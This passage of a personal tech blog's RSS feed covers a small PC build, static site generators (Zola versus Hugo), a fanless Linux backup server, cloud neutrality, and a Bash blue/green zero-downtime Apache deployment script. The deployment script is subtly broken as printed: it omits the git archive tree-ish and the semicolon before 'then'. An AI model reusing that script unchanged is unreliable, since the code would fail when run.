power cables can be removed from the PicoPSU, minimizing the number of cables,
making the build really clean. The motherboard is slightly raised from the
side-panel of the case using built-in standoffs. There is clearance and air flow
for a rear side M2 slot on the motherboard. Also, the Noctua NH-L9a-AM4 fitted
easily with about 3-4 millimeters to spare. The Leicke power brick is rather
large, but it is silent (no coil whine) and very powerful.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I&rsquo;ve built another small form factor PC for office use (and light gaming). This
time I wanted to upgrade my silent but powerful small form factor PC. You can
read about my Antec ISK 110 with and how it&rsquo;s AMD 3400G CPU was limited by the
power supply <a href="https://tqdev.com/2021-antec-isk-110-with-3400g-using-ctdp">here</a>.
The Chieftec IX-03B-OP case is as small as you can go with Mini-ITX.</p>
<p>
  
    <img src="/uploads/2023/chieftec-ix-03b_hu_19735ac26bcb52f3.webp" alt="Chieftec IX-03B with AMD 5700G"  />
  
</p>
<h3 id="the-chieftec-case">The Chieftec case</h3>
<p>The Chieftec IX-03B-OP is smaller than the Antec ISK 110, but it does not have
the 4 front USB ports that the Antec has. In return you get a smaller and easier
to work with case with only 3 cables inside: HDD LED, power switch and power
LED. The case has 2 holes that fit the PicoPSU power jack perfectly. The SATA
power cables can be removed from the PicoPSU, minimizing the number of cables,
making the build really clean. The motherboard is slightly raised from the
side-panel of the case using built-in standoffs. There is clearance and air flow
for a rear side M2 slot on the motherboard. Also, the Noctua NH-L9a-AM4 fitted
easily with about 3-4 millimeters to spare. The Leicke power brick is rather
large, but it is silent (no coil whine) and very powerful.</p>
<h3 id="parts-list">Parts list</h3>
<p>Here is the parts list of the build:</p>
<pre><code>  42 EUR - Chieftec IX-03B-OP - SFF Case
  54 EUR - PicoPSU-160-XT 160W/200W - Power supply
  45 EUR - LEICKE ULL 156W 12V 13A - Power adapter
 125 EUR - Asrock B550M-ITX/ac - Motherboard
 199 EUR - AMD Ryzen 7 5700G CPU - Processor
  49 EUR - Noctua NH-L9a-AM4 - CPU cooler
  14 EUR - Noctua NA-FD1 - Fan duct kit
 145 EUR - Samsung 980 PRO 2TB M.2 - Solid state drive
  95 EUR - G.Skill DDR4 Ripjaws-V 2x16GB 4000MHz - Memory
--------
 768 EUR (including VAT)
</code></pre>
<p>These prices are from June 1st, 2023 on Dutch web shops like
<a href="https://www.megekko.nl/">Megekko</a> and Amazon.nl (Europe, Netherlands).</p>
<h3 id="noctua-means-quiet">Noctua means &ldquo;quiet&rdquo;</h3>
<p>Note that I run Xubuntu 22.04 LTS and it works great. The computer is almost
inaudible (silent fan profile in the BIOS) under normal office usage (e.g.
browsing the Internet). When playing games the Noctua fan did speed up a bit. I
stress tested it (for 30 minutes at a 20C degrees room temperature) to see that
it didn&rsquo;t use too much power and it was stable at full load and the CPU
temperature peaked at around 87C degrees with the motherboard + CPU drawing
about 88 Watt. While it certainly didn&rsquo;t overheat, the Noctua fan was very much
audible under full load. Since it is a very silent 90mm fan, it is isn&rsquo;t an
annoying high pitched noise. Also, the Noctua NA-FD1 fan duct kit helps the
efficiency of the CPU cooler, bridging the gap between the case panel and the
CPU fan, preventing the CPU fan from circulating air within the case.</p>
<h3 id="conclusion">Conclusion</h3>
<p>I&rsquo;m very happy with this build, the 2.73 liter machine doesn&rsquo;t look much larger
than my 1.92 liter
<a href="https://tqdev.com/2021-deskmini-x300-sff-linux-pc">ASRock Deskmini X300 SFF</a>. I
prefer Mini-ITX over the STX motherboard that the Deskmini uses, because of the
availability of these boards and the full size RAM slots instead of the SO-DIMM
slots. I&rsquo;m happy the PicoPSU-160-XT and Leicke power supply combination delivers
enough power to unleash the full potential of the CPU (the Deskmini also uses a
150 Watt power supply). Aside from the excellent performance and being almost
silent the build is small, not overly expensive, looks professional and is a joy
to build.</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://www.youtube.com/watch?v=xSPFEWxEC10">Computer im Kleinstformat - Kann man darauf spielen?</a></li>
<li><a href="https://www.youtube.com/watch?v=LLxeDSGONj0">Chieftec Compact IX-03B Mini-ITX | Unboxing + Review</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Celebrating 7 years TQdev.com</title>
      <link>https://www.tqdev.com/2023-celebrating-7-years-tqdev-com/</link>
      <pubDate>Mon, 06 Mar 2023 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2023-celebrating-7-years-tqdev-com/</guid>
      <description>&lt;p&gt;Today I am celebrating the 7 years that the TQdev.com blog exists. In this
period I have written &lt;a href=&#34;https://tqdev.com/archive&#34;&gt;198 blog posts&lt;/a&gt; on various
software development related topics. Best visited post was the
&amp;ldquo;&lt;a href=&#34;https://tqdev.com/2018-the-boring-software-manifesto&#34;&gt;The &amp;ldquo;Boring Software&amp;rdquo; manifesto&lt;/a&gt;&amp;rdquo;
with more than 43 thousand visitors. Below you find the visitors of the blog per
month and the top 3 of best visited posts.&lt;/p&gt;
&lt;h3 id=&#34;visitors-graph&#34;&gt;Visitors graph&lt;/h3&gt;
&lt;p&gt;The graph below shows the unique visitors per month. I count the number of
unique IP address seen per day and add all days of the month.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Today I am celebrating the 7 years that the TQdev.com blog exists. In this
period I have written <a href="https://tqdev.com/archive">198 blog posts</a> on various
software development related topics. Best visited post was the
&ldquo;<a href="https://tqdev.com/2018-the-boring-software-manifesto">The &ldquo;Boring Software&rdquo; manifesto</a>&rdquo;
with more than 43 thousand visitors. Below you find the visitors of the blog per
month and the top 3 of best visited posts.</p>
<h3 id="visitors-graph">Visitors graph</h3>
<p>The graph below shows the unique visitors per month. I count the number of
unique IP address seen per day and add all days of the month.</p>
<p><a href="/uploads/2023/tqdev-visitors.png">
  
    <img src="/uploads/2023/tqdev-visitors_hu_9cf235590460351b.webp" alt="visitors of TQdev.com"  />
  
</a></p>
<p>As you can see the number of unique visitors per month has grown to about 10000
over time.</p>
<h3 id="top-3-most-visited-posts">Top 3 most visited posts</h3>
<p>These are the posts with the most visitors overall (in the past 7 years):</p>
<ol>
<li>43800 visitors -
<a href="/2018-the-boring-software-manifesto">The &ldquo;Boring Software&rdquo; manifesto (2018)</a></li>
<li>35776 visitors -
<a href="/2019-cannot-copy-windows-10-install-wim">Cannot copy Windows 10 &ldquo;install.wim&rdquo;? (2019)</a></li>
<li>28769 visitors -
<a href="/2016-dot-net-core-ubuntu-linux">Programming C# on Ubuntu Linux (2016)</a></li>
</ol>
<p>You can see the 10 most popular posts of the past 30 days in the footer.</p>
<p>Keep reading!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Zola SSG is 4x faster than Hugo</title>
      <link>https://www.tqdev.com/2023-zola-ssg-is-4x-faster-than-hugo/</link>
      <pubDate>Sun, 05 Mar 2023 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2023-zola-ssg-is-4x-faster-than-hugo/</guid>
      <description>&lt;p&gt;Zola is a very fast static site generator written in Rust with 10k stars on
Github. It is faster than Hugo (written in Go) that has 65k stars on Github. But
there are more reasons that Zola may become the new world&amp;rsquo;s most popular Static
Site Generator (SSG). In this blog post I will list the things I&amp;rsquo;ve found to be
better about Zola than Hugo and the other way around.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Zola is a very fast static site generator written in Rust with 10k stars on
Github. It is faster than Hugo (written in Go) that has 65k stars on Github. But
there are more reasons that Zola may become the new world&rsquo;s most popular Static
Site Generator (SSG). In this blog post I will list the things I&rsquo;ve found to be
better about Zola than Hugo and the other way around.</p>
<h3 id="what-did-github-do">What did Github do?</h3>
<p>Let&rsquo;s start with some history. Static site generators became really popular with
the adoption of Jekyll on Github pages. Unfortunately Github decided that they
didn&rsquo;t want to update their Jekyll runners. Also the performance differences
between Jekyll and Hugo were very big: A site that would build in 340 ms in Hugo
would take over 14 seconds to build in Jekyll (factor 40 wall clock time) as you
can read <a href="https://forestry.io/blog/hugo-vs-jekyll-benchmark/">here</a>. Another
comparison can be found
<a href="https://css-tricks.com/comparing-static-site-generator-build-times/">here</a>.</p>
<h3 id="jekyll-had-liquid-zola-has-tera">Jekyll had Liquid, Zola has Tera!</h3>
<p>Hugo is world&rsquo;s most popular SSG, but it is notoriously hard to learn,
especially the template language. Jekyll was using Liquid, which was easier to
learn. Zola uses Tera, which looks a lot like Liquid (and like Jinja2, Django
templates or Twig). This makes it easier to convert a site from Jekyll to Zola
than from Jekyll to Hugo.</p>
<h3 id="is-zola-really-faster">Is Zola really faster?</h3>
<p>Build times are great with Hugo, but they are absolutely mind-blowing with Zola.
To prove the claims I had read
(<a href="https://eklausmeier.goip.de/blog/2021/11-13-performance-comparison-saaze-vs-hugo-vs-zola/">here</a>)
I converted a (real) site with 50 pages from Hugo to Zola and measured the build
times. These are the build times (as measured by the GNU/Linux &ldquo;time&rdquo; command):</p>
<pre><code>Hugo
====
real   0m0,178s
user   0m1,897s
sys    0m0,048s

Zola
====
real    0m0,036s
user    0m0,123s
sys     0m0,052s
</code></pre>
<p>As you can see I went from 178ms build time to 36ms build time (&ldquo;real&rdquo; or &ldquo;wall
clock&rdquo; time), roughly a factor 4. On the CPU load (&ldquo;user&rdquo; and &ldquo;sys&rdquo; time
combined) the load decreased by roughly a factor 11: from 1945ms to 175ms. This
means that users see their sites faster and that the CPU load on the (build)
servers is lower.</p>
<h3 id="where-zola-is-better-than-hugo">Where Zola is better than Hugo</h3>
<ul>
<li>It generates sites faster</li>
<li>More familiar template language</li>
<li>It has search capabilities built-in</li>
</ul>
<h3 id="where-hugo-is-better-than-zola">Where Hugo is better than Zola</h3>
<ul>
<li>It is more popular, has a bigger community</li>
<li>It has flexibility in URL schemes and overrides</li>
<li>Better support for multi-lingual sites</li>
</ul>
<h3 id="conclusion">Conclusion</h3>
<p>IMHO Zola is a great alternative to Hugo. It is faster, has an easier to learn
template language and has a nice search feature built-in. The documentation was
good enough for me and the error messages got me up to speed pretty fast. I felt
the developer experience was better than it was with Hugo. I fully recommend to
give it a try: I feel this is the most promising static site generator there is
right now.</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://www.getzola.org/">Zola - Your one-stop static site engine</a></li>
<li><a href="https://tera.netlify.app/">Tera - A powerful, easy to use template engine for Rust</a></li>
<li><a href="https://simbleau.github.io/blog/blogging-like-a-rustacean/">simbleau.github.io - Blogging like a rustacean</a></li>
<li><a href="https://dabase.com/blog/2021/zola-static-site-generator/">dabase.com - Zola SSG review</a></li>
<li><a href="https://david.kolo.ski/blog/ssg-with-zola/">david.kolo.ski - Static Site Generation with Zola</a></li>
<li><a href="https://dev.to/davidedelpapa/zola-tutorial-how-to-use-zola-the-rust-based-static-site-generator-for-your-next-small-project-and-deploy-it-on-netlify-375n">dev.to - How to use Zola the Rust based static site generator</a></li>
<li><a href="https://peterbabic.dev/blog/setting-url-prefix-in-zola/">peterbabic.dev - Setting up an URL prefix in Zola</a></li>
<li><a href="https://www.brycewray.com/posts/2020/12/gems-in-rough/">brycewray.com - Gems in the rough</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Fanless J6412 Linux server</title>
      <link>https://www.tqdev.com/2023-fanless-j6412-linux-server/</link>
      <pubDate>Sun, 26 Feb 2023 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2023-fanless-j6412-linux-server/</guid>
      <description>&lt;p&gt;The J6412 Venoen 12th Gen Mini PC is a compact and powerful computer that offers
exceptional performance and energy efficiency. This mini PC is powered by a 12th
Generation Intel processor and has a fanless design, making it ideal for what I
use it for: an always on Linux server on my desk.&lt;/p&gt;
&lt;h3 id=&#34;design-and-performance&#34;&gt;Design and Performance&lt;/h3&gt;
&lt;p&gt;The J6412 Venoen 12th Gen Mini PC features is a small and powerful machine. It
measures just 150mm x 150mm x 58mm, not taking up too much space on the desk.
The mini PC features 2x SO-DIMM slots that support up to 64GB of DDR4 memory. It
also features an M.2 slot that supports NVMe SSDs for super fast I/O.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>The J6412 Venoen 12th Gen Mini PC is a compact and powerful computer that offers
exceptional performance and energy efficiency. This mini PC is powered by a 12th
Generation Intel processor and has a fanless design, making it ideal for what I
use it for: an always on Linux server on my desk.</p>
<h3 id="design-and-performance">Design and Performance</h3>
<p>The J6412 Venoen 12th Gen Mini PC features is a small and powerful machine. It
measures just 150mm x 150mm x 58mm, not taking up too much space on the desk.
The mini PC features 2x SO-DIMM slots that support up to 64GB of DDR4 memory. It
also features an M.2 slot that supports NVMe SSDs for super fast I/O.</p>
<h3 id="connectivity">Connectivity</h3>
<p>The J6412 Venoen 12th Gen Mini PC features a range of connectivity options,
including 2x Gigabit Ethernet ports, 2x HDMI 2.0 ports, 2x USB 3.2 Gen 2 ports,
2x USB 2.0 ports and 2x RS232 serial ports. It has 2x 3.5mm audio jack
connections: one for the microphone and one for the audio out. It also features
built-in Wi-Fi 6 and Bluetooth 5.2.</p>
<h3 id="a-backup-on-your-desktop">A backup on your desktop</h3>
<p>I have added a Crucial MX500 4TB SSD to the Venoen Mini PC for my backup needs.
The primary NVMe disk and the added Crucial 2.5inch disk are both disk encrypted
using LUKS. The PC is situated on my desk and it is running Ubuntu Linux. Every
night it runs a cron job that does an rsync from the cloud machines to ensure
that I have local backups of all my data.</p>
<h3 id="it-is-quiet-and-stays-cool">It is quiet and stays cool</h3>
<p>I do recommend running it as a fully quiet and powerful always on Linux server
as it uses little power. It doesn&rsquo;t get warm even when running backups for an
hour, which is important to me, as the I want the Crucial disk to be reliable.
Note that I did go into the BIOS and turned off the turbo making the quad core
run at 2Ghz max to ensure there will be no excessive heat generation.</p>
<h3 id="slow-boot-under-linux">Slow boot under Linux</h3>
<p>Installing Linux is easy, except that the boot process hanged for over a minute
at a certain point. I added to the last line of the file <code>/etc/default/grub</code>:</p>
<pre><code>GRUB_CMDLINE_LINUX=&quot;module_blacklist=pinctrl_elkhartlake&quot;
</code></pre>
<p>Rebuilt the grub config by</p>
<pre><code>grub-mkconfig -o /boot/grub/grub.cfg
</code></pre>
<p>Powered off and on again. Works fine.</p>
<h3 id="conclusion">Conclusion</h3>
<p>The J6412 Venoen 12th Gen Mini PC is a powerful and compact computer that works
perfect (after adding a grub boot option) as an always on Linux server. Its
fanless design means that it operates silently, making it ideal for use in quiet
environments, like on my desk. Its powerful processor and fast memory make it
perfect for demanding background tasks of a Linux server, while its range of
connectivity and expansion options make it highly versatile.</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://ark.intel.com/content/www/us/en/ark/products/214758/intel-celeron-processor-j6412-1-5m-cache-up-to-2-60-ghz.html">Intel Celeron Processor J6412 1.5M Cache up to 2.60 GHz Product Specifications</a></li>
<li><a href="https://www.venoen.com/12th-Gen-processor-Fanless-Mini-PC-intel-Celeron-J6412-Dual-HDMI-DP-Windows-11-p3419131.html">Venoen - Fanless Mini PC Intel Celeron J6412 embedded computer</a></li>
<li><a href="https://www.crucial.com/ssd/mx500/ct4000mx500ssd1">Crucial MX500 4TB 3D NAND SATA 2.5-inch 7mm Internal SSD</a></li>
<li><a href="https://community.ipfire.org/t/slow-boot-and-reboot-fail-on-intel-elkhart-lake-soc-workaround/7638">Slow boot and reboot fail on Intel Elkhart Lake SoC - Workaround</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Looking for a &#34;cloud exiteer&#34;?</title>
      <link>https://www.tqdev.com/2023-looking-for-a-cloud-exiteer/</link>
      <pubDate>Wed, 22 Feb 2023 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2023-looking-for-a-cloud-exiteer/</guid>
      <description>&lt;p&gt;You probably have heard about cloud engineers and what they do. In short they
take your servers and put them in the (public) cloud using benefits that only
the cloud can bring. These cloud providers belong to large corporations, such as
Amazon, Google, Microsoft or even Oracle. What I expect to see become mainstream
in the coming years is the role of &amp;ldquo;cloud exiteer&amp;rdquo; (a term cleverly coined by my
friend &lt;a href=&#34;https://www.nlware.com/&#34;&gt;Mark&lt;/a&gt;), which is exactly the opposite of a
cloud engineer. Cloud exiteers are not working to bring a company &amp;ldquo;into the
cloud&amp;rdquo;, but help them quickly move &amp;ldquo;away from the cloud&amp;rdquo;. The companies
employing cloud exiteers strive for &amp;ldquo;cloud neutrality&amp;rdquo;, which means that they
can effortless switch from one cloud provider to another. Note that &amp;ldquo;cloud
neutrality&amp;rdquo; is a much stronger goal than &amp;ldquo;multi-cloud&amp;rdquo; which is not as clearly
defined and brings less benefits.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>You probably have heard about cloud engineers and what they do. In short they
take your servers and put them in the (public) cloud using benefits that only
the cloud can bring. These cloud providers belong to large corporations, such as
Amazon, Google, Microsoft or even Oracle. What I expect to see become mainstream
in the coming years is the role of &ldquo;cloud exiteer&rdquo; (a term cleverly coined by my
friend <a href="https://www.nlware.com/">Mark</a>), which is exactly the opposite of a
cloud engineer. Cloud exiteers are not working to bring a company &ldquo;into the
cloud&rdquo;, but help them quickly move &ldquo;away from the cloud&rdquo;. The companies
employing cloud exiteers strive for &ldquo;cloud neutrality&rdquo;, which means that they
can effortless switch from one cloud provider to another. Note that &ldquo;cloud
neutrality&rdquo; is a much stronger goal than &ldquo;multi-cloud&rdquo; which is not as clearly
defined and brings less benefits.</p>
<h3 id="what-is-the-cloud-anyway">What is the cloud anyway?</h3>
<p>Cloud does not mean the use of virtual machines and/or container orchestration.
Actually it is all about the move from CapEx to OpEx for your IT infrastructure.</p>
<blockquote>
<p>Capital expenditures are major purchases that a company makes, which are used
over the long term. Operating expenses, on the other hand, are the day-to-day
expenses that a company incurs to keep its business running.</p></blockquote>
<p>This leads to the following changes in IT infrastructure management:</p>
<ul>
<li>Renting or leasing infrastructure instead of buying.</li>
<li>Easy upgrade and downgrade of infrastructure, so that costs match usage.</li>
<li>Being located in a secure data-center, instead of on-premise.</li>
</ul>
<p>Often people say that the cloud provides the following (managed) services:</p>
<ul>
<li>Not having to report and/or repair infrastructure when it is broken.</li>
<li>Automatically upgrading and downgrading infrastructure capacity when needed.</li>
<li>Providing transparent High Availability (HA) for your infrastructure.</li>
</ul>
<p>Ideally the cloud does all of these, so that you don&rsquo;t have to hire (as many)
expensive Site Reliability Engineers (SREs) to manage your infrastructure.</p>
<h3 id="on-cloud-neutrality">On &ldquo;cloud neutrality&rdquo;</h3>
<p>In order to fully appreciate what a cloud exiteer does you must understand the
goal of &ldquo;cloud neutrality&rdquo; that is pursued. Cloud neutrality is defined as an
independence of cloud providers. Neutrality is reached when the time to migrate
is lower than the typical service window (or otherwise acceptable downtime) and
the migration costs are negligible.</p>
<p>Not all IT infrastructure can be made cloud neutral at low costs. Some companies
choose to use vendor specific cloud services to run their business. This makes
it hard or even impossible to switch cloud providers. A cloud exiteer can
identify such risks and guide your company away from them, without actually
changing cloud providers. The cloud exiteer can replace vendor specific services
with popular open-source implementations.</p>
<p>A company that have taken cloud neutrality into account can have optimal
advantage of the &ldquo;Economies of Scale&rdquo;, guaranteeing better Return On Investment
(ROI) when provided with additional funding.</p>
<h3 id="what-about-heycom">What about Hey.com?</h3>
<p>David Heinemeier Hansson (aka DHH) wrote an inspiring article on how he saves 7
million by &ldquo;leaving&rdquo; the cloud with his email product &ldquo;Hey.com&rdquo;. That is
interesting, but I doubt that many readers find themselves in his situation. Not
only because they don&rsquo;t run a similar sized business, but also because DHH must
have been leading the company towards &ldquo;cloud neutrality&rdquo; for a while (probably
from long before he announced that he would leave the cloud). Thanks to this
strategy his negotiation position must have always been quite good. I believe
that this is why he saves &ldquo;only&rdquo; 7 million (and not a magnitude more). I&rsquo;m sure
that he employs some very good cloud exiteers that have helped him to steer away
from vendor specific cloud solutions. And they did a marvelous job,
congratulations!</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://www.investopedia.com/ask/answers/112814/whats-difference-between-capital-expenditures-capex-and-operational-expenditures-opex.asp">Investopedia - CapEx vs. OpEx: What’s the Difference?</a></li>
<li><a href="https://www.investopedia.com/terms/e/economiesofscale.asp">Investopedia - Economies of Scale: What Are They and How Are They Used?</a></li>
<li><a href="https://www.investopedia.com/terms/r/returnoninvestment.asp">Investopedia - Return on Investment (ROI): How to Calculate It and What It Means</a></li>
<li><a href="https://world.hey.com/dhh/why-we-re-leaving-the-cloud-654b47e0">DHH - Why we&rsquo;re leaving the cloud</a></li>
<li><a href="https://world.hey.com/dhh/we-stand-to-save-7m-over-five-years-from-our-cloud-exit-53996caa">DHH - We stand to save $7m over five years from our cloud exit</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Zero downtime deployment in Apache</title>
      <link>https://www.tqdev.com/2023-zero-downtime-deployment-in-apache/</link>
      <pubDate>Wed, 01 Feb 2023 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2023-zero-downtime-deployment-in-apache/</guid>
      <description>&lt;p&gt;Whether you deploy using
&lt;a href=&#34;https://tqdev.com/2018-deploying-with-git-push-to-production&#34;&gt;git push&lt;/a&gt;, rsync
or even sftp you never want your site to be down or inconsistent during updates.
If your site has high traffic you may not only do frequent updates, you may also
have significant traffic during these updates. With &amp;ldquo;zero downtime&amp;rdquo; deployments
you can assure that all traffic can keep flowing and that there is little chance
that anyone notices your deployment.&lt;/p&gt;
&lt;h3 id=&#34;naive-approach-delete-first&#34;&gt;Naive approach: delete first&lt;/h3&gt;
&lt;p&gt;A naive deployment of an Apache website may go like this:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Whether you deploy using
<a href="https://tqdev.com/2018-deploying-with-git-push-to-production">git push</a>, rsync
or even sftp you never want your site to be down or inconsistent during updates.
If your site has high traffic you may not only do frequent updates, you may also
have significant traffic during these updates. With &ldquo;zero downtime&rdquo; deployments
you can assure that all traffic can keep flowing and that there is little chance
that anyone notices your deployment.</p>
<h3 id="naive-approach-delete-first">Naive approach: delete first</h3>
<p>A naive deployment of an Apache website may go like this:</p>
<ul>
<li>Remove the entire old version from the server</li>
<li>Transfer the entire new version to the server</li>
</ul>
<p>It should be clear that this can lead to downtime between the removal (often
instantaneous) and the completion of the upload of the new version. A popular
way to deal with this downtime is to place the site &ldquo;under maintenance&rdquo; by
redirecting all requests to a single HTML page during the update. This isn&rsquo;t
ideal, especially on larger sites with frequent updates as the downtime may be
considerable.</p>
<h3 id="better-delete-last">Better: delete last</h3>
<p>A rsync with &ldquo;&ndash;delete-after&rdquo; goes directory by directory and does:</p>
<ul>
<li>Transfer and create the files that are new in this version to the server</li>
<li>Transfer and replace the files that are modified in this version to the server</li>
<li>Remove the files that were not in this version from the server</li>
</ul>
<p>Although there should be no &ldquo;404 page not found&rdquo; errors we can still have
visitors that do requests that access multiple files that are a mix of versions
making the response inconsistent. When the files contain code (e.g. JavaScript)
then this can cause hard to explain software bugs. Especially when cache headers
are applied as they may cause this problem to occur even after the deployment
has completed.</p>
<h3 id="best-zero-downtime-deployment">Best: zero downtime deployment</h3>
<p>An zero downtime deployment takes place in the following steps:</p>
<ul>
<li>Transfer the entire new version to the server</li>
<li>Atomically switch from the old version to the new version</li>
<li>Remove the entire old version from the server</li>
</ul>
<p>As the server replaces the old version with the new version any new request that
comes in after the switch is handled consistent. Any request that is handled
before the switch is also handled consistent. Requests that are handled in a
time-frame in which a switch took place may be handled inconsistently. E.g. a
request that started 100 milliseconds before the switch and retrieved it&rsquo;s last
asset 500 milliseconds after the switch is such a request. And obviously it is
only inconsistent if the requests have actually hit some updated code. So
depending on the size of the change that chance may vary.</p>
<h3 id="bash-deployment-script">Bash deployment script</h3>
<p>The following script can deploy a git repository with zero downtime:</p>
<pre><code>#!/bin/bash
# set primary to the existing and
# set secondary to the target directory
if [[ -d green ]]; then
  PRIMARY=green
  SECONDARY=blue
else
  PRIMARY=blue
  SECONDARY=green
fi
# make the target directory
mkdir $SECONDARY
# do the deployment
if git -C app.git archive --prefix=$SECONDARY/ | tar x then
  # the deployment succeeded create a new symlink
  ln -s $SECONDARY public_html_new
  # replace the old symlink with the new symlink (atomic)
  mv -fT public_html_new public_html
  # remove the old files from disk
  rm -Rf $PRIMARY
else
  # remove the failed deployment
  rm -Rf $SECONDARY
fi
</code></pre>
<p>Note that the command &ldquo;<code>git -C app.git archive --prefix=$SECONDARY/ | tar x</code>&rdquo;
may also be a <a href="https://tqdev.com/2023-a-hugo-static-website-is-fast">Hugo build</a>
or any other long lasting deployment process. And this Bash script may be put
into the &ldquo;post-receive&rdquo; hook of your git repository (when
<a href="https://tqdev.com/2018-deploying-with-git-push-to-production">pushing to production</a>).
This is what the directory looks like after deployment:</p>
<pre><code>drwxrwxr-x 7 maurits maurits 4096 Nov 21 12:02 app.git
drwxr-xr-x 9 maurits maurits 4096 Feb  1 17:09 green
lrwxrwxrwx 1 maurits maurits    5 Feb  1 17:09 public_html -&gt; green
</code></pre>
<p>Note that the Apache &ldquo;DocumentRoot&rdquo; is set to &ldquo;public_html&rdquo; directory, which is
actually a symlink. Nine minutes later (after the next deployment) the directory
looks like this:</p>
<pre><code>drwxrwxr-x 7 maurits maurits 4096 Nov 21 12:02 app.git
drwxr-xr-x 9 maurits maurits 4096 Feb  1 17:18 blue
lrwxrwxrwx 1 maurits maurits    5 Feb  1 17:18 public_html -&gt; blue
</code></pre>
<p>You can see that the existence of the blue and green directories alternate.</p>
<h3 id="conclusion">Conclusion</h3>
<p>Even though zero downtime deployments can guarantee 100% uptime during
deployments, they cannot guarantee 100% consistent replies during deployment.
You can trade consistent replies for some forced downtime (and terminated
connections) by stopping Apache before and starting it after the zero downtime
deployment, but whether or not you want to make that trade-off is entirely up to
you. I have had a lot of success with very frequent small incremental
deployments using this zero downtime strategy and I hope you will too&hellip;</p>
<p>Happy programming!</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://stackoverflow.com/questions/307437/moving-a-directory-atomically">StackOverflow - Moving a directory atomically</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>A Hugo static website is fast</title>
      <link>https://www.tqdev.com/2023-a-hugo-static-website-is-fast/</link>
      <pubDate>Tue, 31 Jan 2023 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2023-a-hugo-static-website-is-fast/</guid>
      <description>&lt;p&gt;A Hugo website can be extremely fast. As it loads no dynamic data most content
can be served within milliseconds. Since Hugo can resize images on build you can
ensure the image sizes are optimal. The static assets that make up a Hugo
website can easily be distributed world-wide through a CDN allowing for low
access time all around the world and scaling up to millions of concurrent
visitors.&lt;/p&gt;
&lt;h3 id=&#34;popular-static-site-generators-ssgs&#34;&gt;Popular static site generators (SSGs):&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://gohugo.io/&#34;&gt;Hugo&lt;/a&gt;: A module-based static site generator with blazing
fast performance.&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://jekyllrb.com/&#34;&gt;Jekyll&lt;/a&gt;: A blog-friendly static site generator that
you can use with Github Pages.&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.gatsbyjs.com/&#34;&gt;Gatsby&lt;/a&gt;: A whole suite of website-creation
products along with static site generation&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.11ty.dev/&#34;&gt;Eleventy&lt;/a&gt;: This generator is perfect if you’re a fan
of JavaScript and Node.js.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;why-use-a-static-site-generator-ssg&#34;&gt;Why use a static site generator (SSG)?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Security: SSGs create content in versioned static assets that can be hosted
without a database, reducing the attack vectors.&lt;/li&gt;
&lt;li&gt;Performance: There is no database to connect to and a the static assets can be
served from a geographically local web server.&lt;/li&gt;
&lt;li&gt;Scale: By using a content delivery network (CDN) you can distribute the
content world-wide allowing almost limitless scale.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;what-we-often-dont-read&#34;&gt;What we often don&amp;rsquo;t read:&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Design consistency: Clean separation between content and design.&lt;/li&gt;
&lt;li&gt;Ease of use: It has less options as it won&amp;rsquo;t let you modify the design.&lt;/li&gt;
&lt;li&gt;Hosting costs: A CDN will ensure low costs (even when your site is popular).&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;when-not-to-use-a-sgg&#34;&gt;When NOT to use a SGG:&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Member area: Visitors of the site need to login and manage profiles.&lt;/li&gt;
&lt;li&gt;Complex web shops: You want a web shop with logins and personalized discounts.&lt;/li&gt;
&lt;li&gt;Design changes: Your content editors want to change colors, fonts and layouts.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;why-choose-hugo&#34;&gt;Why choose Hugo?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Popular: With 65k stars on Github it is the most popular SGG.&lt;/li&gt;
&lt;li&gt;Fast: A site build takes seconds, making it one of the fastest SGGs.&lt;/li&gt;
&lt;li&gt;Complete: Many features (such as image resizing) are included.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion&lt;/h3&gt;
&lt;p&gt;If your site is suitable to be a Hugo site you should definitely consider to use
Hugo. It is popular and for a good reason: it has technical excellence. Your
websites will be more secure and load faster. CDN deployments will make your
site scale and make it fast anywhere in the world. If you need a good CMS to go
with Hugo choose &lt;a href=&#34;https://cloudcannon.com/&#34;&gt;CloudCannon&lt;/a&gt; or (our own)
&lt;a href=&#34;https://cms.usecue.com/&#34;&gt;UseCue CMS&lt;/a&gt;.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>A Hugo website can be extremely fast. As it loads no dynamic data most content
can be served within milliseconds. Since Hugo can resize images on build you can
ensure the image sizes are optimal. The static assets that make up a Hugo
website can easily be distributed world-wide through a CDN allowing for low
access time all around the world and scaling up to millions of concurrent
visitors.</p>
